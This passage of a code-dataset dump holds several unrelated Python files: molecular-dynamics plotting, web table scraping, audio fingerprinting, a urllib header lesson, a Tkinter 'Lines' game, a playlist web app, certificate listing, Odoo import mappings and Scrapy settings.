mdtraj is naturally in nm\n\n # append rmsd\n Activation_Loop_SRC2 = SRC2.top.select(\"backbone and (resid %s to %s)\" %(138,158))\n Activation_Loop_kinase = traj.top.select(\"backbone and (resid %s to %s)\" %(Aloop[0],Aloop[1]))\n\n SRC2_cut = SRC2.atom_slice(Activation_Loop_SRC2)\n traj_cut = traj.atom_slice(Activation_Loop_kinase)\n\n rmsd.append(10*(md.rmsd(traj_cut,SRC2_cut,frame=0))) # 10x because mdtraj is naturaly in nm\n\n # flatten list of arrays\n flattened_difference = np.asarray([val for sublist in difference for val in sublist])\n flattened_rmsd = np.asarray([val for sublist in rmsd for val in sublist])\n\n return [flattened_rmsd, flattened_difference]\n\n# generate data\n[rmsd_src,difference_src] = shukla_coords(Src_trajectories,KER_src,Aloop_src,SRC2)\n\n#save rmsd and difference data\nnp.save('rmsd_src.npy',rmsd_src)\nnp.save('difference_src.npy',difference_src)\n\n#plot\nsns.kdeplot(rmsd_src,difference_src[:,0],shade=True,log=True,cmap=\"Reds\",shade_lowest=False)\n\nplt.xlabel('RMSD Activation Loop ($\\AA$)')\nplt.ylabel('d(E310-R409) - d(K295-E310) ($\\AA$)')\nplt.ylim(-20,20)\nplt.xlim(0,10)\nplt.title('Src sims - 10471')\n\nplt.savefig('plotting_Shukla_fig2_Src_10471.png',dpi=1000)\n","sub_path":"other-reaction-coords/Shukla-Fig2/plotting_Shukla_fig2_Src_10471.py","file_name":"plotting_Shukla_fig2_Src_10471.py","file_ext":"py","file_size_in_byte":2134,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"254672799","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sat Oct 20 17:29:30 2018\r\n\r\n@author: Ivana-ETF\r\n\"\"\"\r\n\r\nfrom bs4 import BeautifulSoup\r\nimport argparse\r\nimport requests\r\nfrom HTMLTable import * \r\nimport sys\r\n\r\n \r\n\r\ndef get_table(url, sport, element, iid, index, clas):\r\n \r\n headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1)'\r\n ' AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95'\r\n ' Safari/537.36'}\r\n res = requests.get(url, headers=headers)\r\n plain_text = res.text \r\n soup = BeautifulSoup(plain_text, 'html.parser')\r\n table = soup.find_all('table')\r\n \r\n # Check if there are tables on the page\r\n if len(table):\r\n # Check which html element is selected\r\n if element == \"table\":\r\n if iid or clas :\r\n attr = 'id' if iid else 'class'\r\n val = iid if iid else clas\r\n b = 0\r\n for i in range(len(table)):\r\n try:\r\n pom = table[i][attr]\r\n except:\r\n print('There is no element {}'.format(val))\r\n exit()\r\n else:\r\n if isinstance(pom, list):\r\n pom=','.join(pom)\r\n if pom == val:\r\n b += 1\r\n parse(table[i], sport, element, iid, index, clas)\r\n\r\n if not b:\r\n print('There is no attribute {} with value {}'\r\n .format(attr, val)) \r\n else:\r\n if int(index) in range(len(table)):\r\n parse(table[int(index)], sport, element, iid, index, clas)\r\n else:\r\n print('There is no table with index {}'\r\n .format(str(index))) \r\n \r\n else:\r\n parse(table[0], sport, element, iid, index, clas)\r\n else:\r\n b = 0\r\n for s in soup.find_all(\"div\"):\r\n if s.find('iframe'):\r\n b += 1\r\n iframe_url = s.find('iframe')['src']\r\n get_table(iframe_url, sport, element, iid, index, clas)\r\n if not b:\r\n print('There is no table and iframe on the page')\r\n \r\ndef parse_args(args):\r\n \r\n parser = argparse.ArgumentParser()\r\n parser.add_argument(\"url\", help=\"choose the Staff Directory page URL to \"\r\n \"be scraped\")\r\n parser.add_argument(\"sport\", help=\"choose sport to be filtered\")\r\n parser.add_argument(\"--html_elem\", help=\"choose html element\",\\\r\n choices=['table','tr','td'])\r\n group = parser.add_mutually_exclusive_group()\r\n group.add_argument('--element_id')\r\n group.add_argument('--element_index')\r\n group.add_argument('--element_class')\r\n \r\n return parser.parse_args(args) \r\n \r\ndef Main():\r\n\r\n parser = parse_args(sys.argv[1:])\r\n if (parser.html_elem and parser.element_id is None \r\n and parser.element_index is None and parser.element_class is None):\r\n print('--html_elem requires --element_id or --element_index ' \r\n 'or --element_class')\r\n exit()\r\n \r\n get_table(parser.url, parser.sport, parser.html_elem, parser.element_id, \r\n parser.element_index, parser.element_class)\r\n \r\n\r\nif __name__=='__main__':\r\n Main()\r\n \r\n \r\n\r\n\r\n","sub_path":"scrape.py","file_name":"scrape.py","file_ext":"py","file_size_in_byte":3506,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"73648089","text":"import pickle\nimport numpy as np\nfrom pathlib import Path\nfrom V_ProcessAudioFile import processSong\nfrom C_1 import Samples_to_Peaks\nfrom e_peaksToDict import peaks_to_fp\n\ndef make_dict(pathName):\n '''\n Creates a dictionary of nearest neighbor values.\n\n This function takes in a path to a folder and\n creates a pickle file containing a dictionary\n of neighbors. It also returns the dictionary.\n\n Parameters:\n -----------\n pathName: Valid string representing a path to a folder\n The folder which the songs will be taken out of (in MP3 format)\n \n Returns:\n --------\n Dictionary{Tuple[int, int, int], List[Tuple[int, int]]}\n A dictionary containing all of the nearest neighbor pairs.\n '''\n res = {}\n res2 = {}\n pathList = Path(pathName).glob('*.mp3')\n cnt = 0\n for fileName in pathList:\n fileStr = str(fileName)\n digSamp = processSong(fileStr)\n peaks = Samples_to_Peaks(digSamp)\n res = peaks_to_fp(peaks, cnt, res)\n res2[cnt] = fileName.stem\n cnt = cnt+1\n\n pickle_out = open(\"database.pickle\", \"wb\")\n pickle.dump(res, pickle_out)\n pickle_out.close()\n pickle_out2 = open(\"codeToSong.pickle\", \"wb\")\n pickle.dump(res2, pickle_out2)\n pickle_out2.close()\n\n return res, res2","sub_path":"e_makeDict.py","file_name":"e_makeDict.py","file_ext":"py","file_size_in_byte":1297,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"444875727","text":"# coding = utf-8\n\"\"\"\n@Author: Idiot\n@Time: 2019/7/23 20:21\n@Software: PyCharm\n@File: lesson65.py\n@Version: V1.0\n@Desc: HTTP头部信息模拟\n\"\"\"\n\"\"\"\n有时候,我们在向网站发出请求时,会受到回应,请求被拒绝。\n因为网站为了防止用户的恶意获取数据,增加了一个验证,这里的验证主要是发送请求的工具是否为标准的浏览器\n使用urllib请求,和使用浏览器进行请求,是有一些差别的。\n差别在HTTP协议中叫做:HTTP头部信息\n\"\"\"\n\"\"\"\n先看下post请求的信息:\n{\n \"args\": {}, \n \"data\": \"\", \n \"files\": {}, \n \"form\": {\n \"word\": \"hello\"\n }, \n \"headers\": {\n \"Accept-Encoding\": \"identity\", \n \"Content-Length\": \"10\", \n \"Content-Type\": \"application/x-www-form-urlencoded\", \n \"Host\": \"httpbin.org\", \n \"User-Agent\": \"Python-urllib/3.7\" 此处就是说明请求的工具是Python\n }, \n \"json\": null, \n \"origin\": \"113.140.23.177, 113.140.23.177\", \n \"url\": \"https://httpbin.org/post\"\n}\n\"\"\"\n\"\"\"\n而使用浏览器请求的数据:\n{\n \"args\": {\n \"a\": \"123\", \n \"b\": \"456\"\n }, \n \"headers\": {\n \"Accept\": \"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3\", \n \"Accept-Encoding\": \"gzip, deflate\", \n \"Accept-Language\": \"zh-CN,zh;q=0.9,en;q=0.8\", \n \"Host\": \"httpbin.org\", \n \"Upgrade-Insecure-Requests\": \"1\", \n \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36\"\n }, # 从这里就能看出,这是使用浏览器来请求的\n \"origin\": \"113.140.23.177, 113.140.23.177\", \n \"url\": \"https://httpbin.org/get?a=123&b=456\"\n}\n\"\"\"\n# 那么,如何更换User-Agent,来绕开服务器的检测\n# 这些信息怎么通过urllib传给服务器\n\nfrom urllib import request, parse\n\n# 请求仍为POST方式\nurl = 'http://httpbin.org/post'\nheaders = {\n \"Accept\": \"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3\",\n \"Accept-Encoding\": \"gzip, deflate\",\n \"Accept-Language\": \"zh-CN,zh;q=0.9,en;q=0.8\",\n \"Host\": \"httpbin.org\",\n \"Upgrade-Insecure-Requests\": \"1\",\n \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36\"\n}\n# 如何将上面的header通过urllib传输给服务器?\ndict = {\n 'name': 'value'\n}\ndata = bytes(parse.urlencode(dict), encoding='utf8')\n# 在Request中加上一个headers,把字典进行重新编码,而且把字符集编排为utf-8\n# 最后将数据变成网页的字节型\nreq = request.Request(url=url, data=data, headers=headers, method='POST')\nresponse = request.urlopen(req)\nprint(response.read().decode('utf-8'))\n# 这里存在问题,无法正常运行\n","sub_path":"Section11/lesson65/lesson65.py","file_name":"lesson65.py","file_ext":"py","file_size_in_byte":2823,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"228029649","text":"from tkinter import Tk, Label, Frame, Button, LEFT, Y\nfrom PIL import Image, ImageTk\nfrom os import path\nfrom random import randint\n\n\nclass FieldTile:\n def __init__(self, name, size):\n resources_folder = path.realpath(path.dirname(__file__) + '/resources')\n self._image_path = resources_folder + f'/{name}.png'\n self.normal\n self.size = size\n\n self.taken = [None for _ in range(10)]\n\n @property\n def rgba(self):\n self.image = Image.open(self._image_path).convert('RGBA')\n return self\n\n @property\n def normal(self):\n self.image = Image.open(self._image_path)\n return self\n\n def take_img(self, i):\n if not self.taken[i]:\n taken_img = self.cut(i)\n taken_photo = ImageTk.PhotoImage(taken_img)\n self.taken[i] = taken_photo\n return taken_photo\n\n else:\n return self.taken[i]\n\n def cut(self, i):\n step = self.size\n xs = 1\n xe = self.size\n ys = (i - 1) * step\n ye = i * step\n taken = self.image.crop((xs, ys, xe, ye))\n\n return taken\n\n\nclass ViewFieldTiles:\n def __init__(self):\n self.aqua_ball = FieldTile('ball-aqua', 60)\n self.blue_ball = FieldTile('ball-blue', 60)\n self.green_ball = FieldTile('ball-green', 60)\n self.pink_ball = FieldTile('ball-pink', 60)\n self.red_ball = FieldTile('ball-red', 60)\n self.violet_ball = FieldTile('ball-violet', 60)\n self.yellow_ball = FieldTile('ball-yellow', 60)\n\n self.cell = FieldTile('cell-bgr', 69)\n self.page = FieldTile('page-bgr', 128)\n\n\ntiles = None\n\n\nclass Position:\n def __init__(self, x: int, y: int):\n self.x = x\n self.y = y\n\n\ndef differ(pos1, pos2):\n return Position(pos1.x - pos2.x, pos1.y - pos2.y)\n\n\nclass ViewFieldCell(Label):\n def __init__(self, master, row, col, field):\n self.ball_tile = None\n self.backed = None\n self.field: list[list[ViewFieldCell]] = field\n\n super().__init__(master, image=tiles.cell.take_img(1), borderwidth=0)\n self.grid(row=row, column=col)\n self.bind('', self.on_click)\n self.click_handler = None\n self.pos = Position(col, row)\n self.is_prev = False\n\n def put_ball(self, ball_tile: FieldTile):\n self.to_blend_bg_ball(1, ball_tile, 1)\n\n def select_ball(self):\n self.to_blend_bg_ball(2, self.ball_tile, 1)\n\n def unselect_ball(self):\n self.to_blend_bg_ball(1, self.ball_tile, 1)\n\n def to_blend_bg_ball(self, bg_tile_num, ball_tile, ball_tile_num):\n bg = tiles.cell.rgba.cut(bg_tile_num)\n ball = ball_tile.rgba.cut(ball_tile_num)\n new_ball = Image.new('RGBA', bg.size)\n new_ball.paste(ball, (7, 6))\n backed = Image.alpha_composite(bg, new_ball)\n backed_photo = ImageTk.PhotoImage(backed)\n self.backed = backed_photo\n self.ball_tile = ball_tile\n self.config(image=backed_photo)\n\n def clear(self):\n self.backed = None\n self.config(image=tiles.cell.take_img(1))\n\n def on_click(self, event):\n if self.click_handler:\n self.click_handler(self, event)\n\n @property\n def free(self):\n return not self.backed\n\n def sibling_in(self, direction: Position):\n rev_dir = Position(-direction.x, -direction.y)\n new_pos = differ(self.pos, rev_dir)\n if (new_pos.x < 0 or new_pos.y < 0 or\n new_pos.y > len(self.field) - 1 or new_pos.x > len(self.field[0]) - 1):\n return None\n return self.field[new_pos.y][new_pos.x]\n\n\nclass ViewGameInfo:\n def __init__(self, master):\n self.lines = Label(master, font=(\"Google Sans\", 20), bg='#454545', fg='#ffffff')\n self.lines.grid(row=1, column=1, columnspan=3, pady=10)\n self.score = Label(master, font=(\"Google Sans\", 20), bg='#454545', fg='#ffffff')\n self.score.grid(row=2, column=1, columnspan=3)\n self.update_lines(0)\n self.update_score(0)\n\n def update_lines(self, value):\n self.lines.config(text=f'Линии {value}')\n\n def update_score(self, value):\n self.score.config(text=f'Счёт: {value}')\n\n\nclass GameControls:\n def __init__(self, master):\n Label(master, height=1, bg='#454545').grid(row=3, column=1, columnspan=3)\n self.step = Button(master, text=\"Сделать ход\", font=(\"Google Sans\", 15), bg='#515156', fg='white', padx=2,\n pady=1, relief='raised')\n self.step.grid(row=6, column=1, columnspan=3, pady=10)\n self.new_game = Button(master, text=\"Новая игра\", font=(\"Google Sans\", 15), bg='#515156', fg='white', padx=2,\n pady=1, relief='raised')\n self.new_game.grid(row=10, column=1, columnspan=3, pady=10)\n\n\nclass GameHint(list):\n def __init__(self, master):\n super().__init__()\n Label(master, height=2, bg='#454545').grid(row=7, column=1, columnspan=3)\n Label(master, text='Подсказка:', font=(\"Google Sans\", 15), bg='#454545', fg='white').grid(row=7, column=1,\n columnspan=3, pady=4)\n self.model = []\n for i in range(3):\n self.append(Label(master, bg='#454545'))\n self.model.append(None)\n self[i].grid(row=9, column=1 + i)\n\n def update(self: list, three_balls: list):\n i = 0\n for ball in three_balls:\n self[i].config(image=ball.take_img(5))\n self.model[i] = ball\n i += 1\n\n\nclass GameInfo:\n def __init__(self, master):\n master.config(bg='#454545')\n self.controls = GameControls(master)\n self.hint = GameHint(master)\n self.info = ViewGameInfo(master)\n\n\nclass Interface:\n def __init__(self):\n global tiles\n\n self.root = Tk()\n self.root.title('Линии')\n width = 880\n height = 690\n screen_width = self.root.winfo_screenwidth()\n screen_height = self.root.winfo_screenheight()\n\n x_coordinate = int((screen_width / 2) - (width / 2))\n y_coordinate = int((screen_height / 2) - (height / 2))\n self.size = Position(width, height)\n self.root.geometry(\"{}x{}+{}+{}\".format(width, height, x_coordinate, y_coordinate))\n\n tiles = ViewFieldTiles()\n self.tiles = tiles\n\n self.root.config(bg='#454545')\n\n self.field_frame = Frame(self.root)\n self.field_frame.pack(side=LEFT)\n\n self.info_frame = Frame(self.root)\n self.info_frame.pack(side=LEFT, fill=Y)\n self.info = GameInfo(self.info_frame)\n\n self.field = []\n for row in range(10):\n self.field.append([])\n for col in range(10):\n cell = ViewFieldCell(self.field_frame, row, col, self.field)\n self.field[row].append(cell)\n\n self.game_over = Label(self.info_frame, fg='white', bg='#454545', text=\"Игра окончена\",\n font=(\"Google Sans\", 19), padx=2, pady=1)\n\n @property\n def game_over_visibility(self):\n pass\n\n @game_over_visibility.setter\n def game_over_visibility(self, visible: bool):\n if visible:\n self.game_over.grid(row=11, column=1, columnspan=3)\n else:\n self.game_over.grid_forget()\n\n def render(self):\n self.root.mainloop()\n\n\nclass ModelField(list):\n def __init__(self, field: list):\n super().__init__()\n self.field = field\n\n size = len(field)\n\n def get_square_dialog(square_shift_x, square_shift_y, square_size, reverse=False):\n nonlocal field\n\n dialog = []\n for j in range(square_size):\n if not reverse:\n zx = j\n zy = j\n else:\n zx = square_size - 1 - j\n zy = j\n dialog.append(field[square_shift_y + zy][square_shift_x + zx])\n\n return dialog\n\n rows = field\n\n cols = [[] for cell in field[0]]\n for row in field:\n i = 0\n for cell in row:\n cols[i].append(cell)\n i += 1\n\n main_dialogs = [get_square_dialog(0, 0, size)]\n for i in range(5, size):\n k = size - i\n main_dialogs.append(get_square_dialog(k, 0, i))\n main_dialogs.append(get_square_dialog(0, k, i))\n\n sub_dialogs = [get_square_dialog(0, 0, size, True)]\n for i in range(5, size):\n k = size - i\n sub_dialogs.append(get_square_dialog(k, k, i, True))\n sub_dialogs.append(get_square_dialog(0, 0, i, True))\n\n self.rows = rows\n self.cols = cols\n self.main_dialogs = main_dialogs\n self.sub_dialogs = sub_dialogs\n\n\nclass Model:\n def __init__(self, view_field: Interface):\n self.view = view_field\n self.state = 'ball not selected'\n self.selected = None\n self.score = 0\n self.lines = 0\n self.field = ModelField(view_field.field)\n\n self.restart()\n\n view_field.info.controls.new_game.bind('', self.restart)\n view_field.info.controls.step.bind('', self.step)\n\n for row in self.view.field:\n for cell in row:\n cell.click_handler = self._cell_click_handler\n\n def restart(self, event=None):\n self.view.game_over_visibility = False\n self._clear_field()\n self.gen_hint()\n self.step()\n self.view.info.info.update_score(0)\n self.view.info.info.update_lines(0)\n self.state = 'ball not selected'\n\n def step(self, event=None):\n self.use_hint()\n self.gen_hint()\n\n def gen_hint(self):\n balls = []\n for i in range(3):\n balls.append(self._random_ball())\n self.view.info.hint.update(balls)\n\n def use_hint(self):\n hint = self.view.info.hint\n\n free = self._field_free_cells()\n\n for i in range(2, -1, -1):\n if len(free) - i <= 1:\n self.game_over()\n return\n else:\n cell = self._random_from(free)\n cell.put_ball(hint.model[i])\n free.pop()\n\n def game_over(self):\n\n self.view.game_over_visibility = True\n\n @staticmethod\n def _random_from(list_of):\n return list_of[randint(0, len(list_of) - 1)]\n\n def _random_ball(self):\n field_tiles = self.view.tiles\n balls = [\n field_tiles.aqua_ball,\n field_tiles.blue_ball,\n field_tiles.green_ball,\n field_tiles.pink_ball,\n field_tiles.red_ball,\n field_tiles.violet_ball,\n field_tiles.yellow_ball\n ]\n\n return self._random_from(balls)\n\n def _field_free_cells(self):\n free = []\n field = self.view.field\n for row in field:\n for cell in row:\n if cell.free:\n free.append(cell)\n return free\n\n def _clear_field(self):\n field = self.view.field\n\n for row in field:\n for cell in row:\n cell.clear()\n\n def _cell_click_handler(self, cell: ViewFieldCell, event):\n\n if cell.free:\n if self.state == 'ball not selected':\n pass\n elif self.state == 'ball selected':\n line_is_maked = self._cells_reachable(self.selected, cell)\n\n if line_is_maked:\n cell.put_ball(self.selected.ball_tile)\n\n self.selected.unselect_ball()\n self.selected.clear()\n self.selected = None\n\n self.state = 'ball moved'\n\n lines = self._check_all_lines()\n\n for line in lines:\n self.lines += 1\n self.view.info.info.update_lines(self.lines)\n\n for cell in line:\n cell.unselect_ball()\n cell.clear()\n\n self.score += 10\n self.view.info.info.update_score(self.score)\n\n self.state = 'ball not selected'\n\n if len(lines) == 0:\n self.step()\n\n else:\n pass\n else:\n if self.state == 'ball not selected':\n self.state = 'ball selected'\n self.selected = cell\n cell.select_ball()\n elif self.state == 'ball selected':\n self.selected.unselect_ball()\n self.selected = cell\n cell.select_ball()\n\n\n def _check_all_lines(self):\n\n def check_field_lines(field_lines):\n sequences = []\n\n for line in field_lines:\n sequence = []\n prev_color = None\n\n def reset_sequence(color, field_cell=None):\n nonlocal sequence, prev_color\n\n if len(sequence) == 5:\n sequences.append(sequence)\n\n prev_color = color\n sequence = [field_cell] if field_cell else []\n\n for cell in line:\n if cell.free:\n reset_sequence(None)\n continue\n\n else:\n curr_color = cell.ball_tile\n\n if prev_color is None:\n reset_sequence(curr_color, cell)\n\n elif curr_color == prev_color:\n sequence.append(cell)\n\n else:\n reset_sequence(curr_color, cell)\n\n reset_sequence(None)\n\n return sequences\n\n field_lines = []\n field_lines += check_field_lines(self.field.rows)\n field_lines += check_field_lines(self.field.cols)\n field_lines += check_field_lines(self.field.main_dialogs)\n field_lines += check_field_lines(self.field.sub_dialogs)\n\n return field_lines\n\n\n def _cells_reachable(self, a: ViewFieldCell, b: ViewFieldCell, print_check_way=False):\n\n def reset_cells_prev():\n field = self.view.field\n for row in field:\n for cell in row:\n cell.is_prev = False\n\n def step_all_directions(from_cell: ViewFieldCell, target: ViewFieldCell):\n player_steps = []\n\n left = Position(1, 0)\n right = Position(-1, 0)\n up = Position(0, 1)\n down = Position(0, -1)\n for direction in [up, down, left, right]:\n sibling = from_cell.sibling_in(direction)\n\n if not sibling:\n continue\n\n if sibling == target:\n return True\n else:\n if sibling.free and not sibling.is_prev:\n sibling.is_prev = True\n if print_check_way:\n sibling.to_blend_bg_ball(1, self.view.tiles.yellow_ball, 6)\n player_steps.append(sibling)\n\n elif sibling.free and sibling.is_prev:\n if print_check_way:\n sibling.to_blend_bg_ball(1, self.view.tiles.green_ball, 6)\n\n return player_steps\n\n steps = [a]\n\n while True:\n new_steps_storage = []\n\n for step in steps:\n new_steps = step_all_directions(step, b)\n\n if new_steps is True:\n reset_cells_prev()\n return True\n else:\n new_steps_storage += new_steps\n\n if len(new_steps_storage) == 0:\n reset_cells_prev\n return False\n steps = new_steps_storage\n\n\nui = Interface()\ngameModel = Model(ui)\n\nui.render()\n","sub_path":"Lab/03/lines.py","file_name":"lines.py","file_ext":"py","file_size_in_byte":16080,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"312094418","text":"from google.appengine.api import urlfetch\nfrom google.appengine.ext import db\nfrom django.http import HttpResponse\nfrom django.shortcuts import render_to_response\nfrom django.template.context import RequestContext\nfrom django.utils import simplejson\nimport re \n\n\n\nfrom xml.dom import minidom \n\nfrom models import Song, Playlist\nfrom forms import PlaylistForm, SongForm\n\n\ndef getText(nodelist):\n rc = \"\"\n for node in nodelist:\n if node.nodeType == node.TEXT_NODE:\n rc = rc + node.data\n return rc\n\ndef index(request):\n\treturn render_to_response('index.html')\n\ndef create(request):\n\tif request.method == 'POST':\n\t\turl = request.POST.get('playlist_location', '')\n\t\t#\n\t\t#regexp here!!!!!!!!!\n\t\t#\n\t\tresult = urlfetch.fetch(url + \"code/xspf.php\")\n\n\t\tif result.status_code == 200:\n#\t\t\txml = minidom.parseString(unicode(result.content, \"utf-8\" ))\n\t\t\ttry:\n\t\t\t\txml = minidom.parseString(result.content.replace(\"&\", \"&\"))\n\t\t\texcept:\n\t\t\t\treturn render_to_response('create.html', {'flash' : \"Ops. Something went wrong!!!...\"})\n\t\t\t\n\t\t\ttracks = xml.getElementsByTagName('track')\n\t\t\tplaylist = Playlist(title=\"lorem ipsum dolor\", location=url)\n\t\t\tplaylist.save()\n\n\t\t\tfor song in tracks:\n\t\t\t\tloc = song.getElementsByTagName('location')[0]\n\t\t\t\tme = song.getElementsByTagName('meta')[0]\n\t\t\t\tti = song.getElementsByTagName('title')[0]\n\t\t\t\tfo = song.getElementsByTagName('info')[0]\n\n\t\t\t\ts = SongForm({\n\t\t\t\t\t'location': getText(loc.childNodes),\n\t\t\t\t\t'meta': getText(me.childNodes),\n\t\t\t\t\t'title': getText(ti.childNodes),\n\t\t\t\t\t'info': getText(fo.childNodes),\n\t\t\t\t})\n\t\t\t\tif s.is_valid():\n\t\t\t\t\ts.playlist = playlist\n\t\t\t\t\ts.save()\n\n\t\t\treturn render_to_response('create.html', {'flash' : \"Playlist added! Go back to home page.\"})\n\n\treturn render_to_response('create.html')\n\ndef search(request, keyword=\"\"):\n\treturn render_to_response('search.html', { 'keyword': keyword })\n\n#########\n#\n# API\n#\n#########\n\ndef query(request):\n\tkey = request.GET.get('song', '')\n\tquery = Song.all().search(key).fetch(limit=10)\n\tsongs = []\n\tfor s in query:\n\t\tsongs.append({\n\t\t\t'title' : s.title,\n\t\t\t'location' : s.location,\n\t\t\t'info' : s.info\n\t\t})\n\n\tenc = simplejson.JSONEncoder()\n\tdata = enc.encode(songs)\n\treturn HttpResponse(data)\n\ndef ping(request):\n\treturn HttpResponse(\"\")\n","sub_path":"opentapes/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2289,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"524675381","text":"import logging\r\nimport os.path\r\nimport json\r\n\r\nlogger = logging.getLogger(__name__)\r\n\r\nuri = \"/isam/ssl_certificates\"\r\n\r\n\r\n\r\ndef get_all_certificates (isamAppliance, check_mode=False, force=False):\r\n\t\"\"\"\r\n\tGet information about all certificates on the appliance\t\r\n\t\"\"\"\r\n\timport time\r\n\tepoch_time = int(time.time())\r\n\t\r\n\tcerts=[]\r\n\tdbs_obj = isamAppliance.invoke_get(\"Retrieve all certificate databases\", uri)\r\n\tdbs=dbs_obj['data']\r\n\tfor db in dbs:\r\n\t\tpcert_obj=isamAppliance.invoke_get(\"Retrieve personal certificates\", \"{0}/{1}/personal_cert\".format(uri,db['id']))\r\n\t\tlogger.info(\"Got object {0}\".format(pcert_obj))\r\n\t\tpcerts=pcert_obj['data']\r\n\t\tfor pcert in pcerts:\r\n\t\t\tcert_epoch = int(pcert['notafter_epoch'])\r\n\t\t\tcerts.append({\r\n\t\t\t\t\t\t\"db_id\":db['id'],\r\n\t\t\t\t\t\t\"cert_id\":pcert['id'],\r\n\t\t\t\t\t\t\"issuer\":pcert['issuer'],\r\n\t\t\t\t\t\t\"subject\":pcert['subject'],\t\t\t\t\t\t\r\n\t\t\t\t\t\t\"type\":\"personal\",\r\n\t\t\t\t\t\t\"exp_epoch\":pcert['notafter_epoch'],\r\n\t\t\t\t\t\t\"exp_date\":pcert['notafter'],\r\n\t\t\t\t\t\t\"expired\":cert_epoch < epoch_time\r\n\t\t\t\t\t\t})\r\n\r\n\t\tscert_obj=isamAppliance.invoke_get(\"Retrieve signer certificates\", \"{0}/{1}/signer_cert\".format(uri,db['id']))\r\n\t\tscerts=scert_obj['data']\r\n\t\tfor scert in scerts:\r\n\t\t\tcert_epoch = int(scert['notafter_epoch'])\r\n\t\t\tcerts.append({\r\n\t\t\t\t\t\t\"db_id\":db['id'],\r\n\t\t\t\t\t\t\"cert_id\":scert['id'],\r\n\t\t\t\t\t\t\"issuer\":scert['issuer'],\t\t\t\t\t\t\r\n\t\t\t\t\t\t\"subject\":scert['subject'],\r\n\t\t\t\t\t\t\"type\":\"signer\",\r\n\t\t\t\t\t\t\"exp_epoch\":scert['notafter_epoch'],\r\n\t\t\t\t\t\t\"exp_date\":scert['notafter'],\r\n\t\t\t\t\t\t\"expired\":cert_epoch < epoch_time})\r\n\r\n\t\t\r\n\treturn_obj = isamAppliance.create_return_object()\r\n\treturn_obj['data'] = certs\r\n\t\r\n\treturn return_obj","sub_path":"ibmsecurity/isam/base/ssl_certificates/all_certificates.py","file_name":"all_certificates.py","file_ext":"py","file_size_in_byte":1640,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"342811664","text":" # -*- coding: utf-8 -*-\nfrom odoo.exceptions import UserError\nimport datetime\n\ndef gen_model_dict_categ_and_location_partner():\n user_model_dict = {\n \n u'location partner': {\n 'title_rows' : [0], \n 'begin_data_row_offset_with_title_row' :1,\n 'sheet_names': [u'Location Partner'],\n 'model':'stock.location',\n 'fields' : [\n ('name',{'func':None,'xl_title':u'Name','key':True,'required':True}),\n ('usage',{'set_val':'supplier'}),\n ('is_kho_cha',{'set_val':True}),\n ('department_id',{'set_val':False}),\n ('cho_phep_am',{'set_val':True}),\n ('cho_phep_khac_tram_chon',{'set_val':True}),\n ('not_show_in_bb',{'func':lambda v,n: True if v else False,'xl_title':u'not_show_in_bb','for_excel_readonly':True}),\n ('partner_id_of_stock_for_report',{\n 'fields':[('name',{'func': lambda v,n:not n['vof_dict']['not_show_in_bb']['val'] and n['vof_dict']['name']['val'], 'key':True,'required':True}),\n ]\n }\n ),\n ]\n },#location partner\n \n u'categ': {\n 'title_rows' : [0], \n 'begin_data_row_offset_with_title_row' :1,\n 'sheet_names': [u'categ'],\n 'model':'product.category',\n 'fields' : [\n ('name',{'func':None,'xl_title':u'Name','key':True,'required':True}),\n ('stt_for_report',{'func':None,'xl_title':u'stt_for_report','required':True,'type_allow':[float]}),\n# ('usage',{'set_val':'supplier'}),\n# ('is_kho_cha',{'set_val':True}),\n# ('cho_phep_khac_tram_chon',{'set_val':True}),\n# ('partner_id_of_stock_for_report',{'fields':[('name',{'func': lambda v,n:n['vof_dict']['name']['val'], 'key':True,'required':True}),\n# ]\n# }\n# ),\n ]\n },#location partner\n \n \n \n \n }\n \n return user_model_dict\n \n\n ","sub_path":"tonkho/models/import_excel_model_dict_folder/model_dict_categ_and_location_partner.py","file_name":"model_dict_categ_and_location_partner.py","file_ext":"py","file_size_in_byte":2579,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"183723250","text":"n = int(input(\"Nhập n đề liệt kê các sos nguyên tố trước nó : \"))\ndef soNT(i):\n count = 0\n for s in range(1, i + 1):\n if (n % s == 0):\n count += 1\n if count == 2:\n print(s)\nfor n in range(2, n + 1):\n if n == 1:\n print(1)\n soNT(n)","sub_path":"Python_Lab_01/7.py","file_name":"7.py","file_ext":"py","file_size_in_byte":292,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"611220068","text":"# -*- coding: utf-8 -*-\n\n# Scrapy settings for Demo project\n#\n# For simplicity, this file contains only the most important settings by\n# default. All the other settings are documented here:\n#\n# http://doc.scrapy.org/en/latest/topics/settings.html\n#\n\nBOT_NAME = 'demo'\n\nDOWNLOAD_DELAY = 0.25\nCOOKIES_ENABLES = False\n\nSPIDER_MODULES = ['demo.spiders']\nNEWSPIDER_MODULE = 'demo.spiders'\n\nDOWNLOAD_MIDDLEWARES = {\n 'scrapy.contrib.downloadermiddleware.useragent.UserAgentMiddleware' :None,\n 'CSDNBlogCrawlSpider.spiders.rotate_useragent.RotateUserAgentMiddleware' 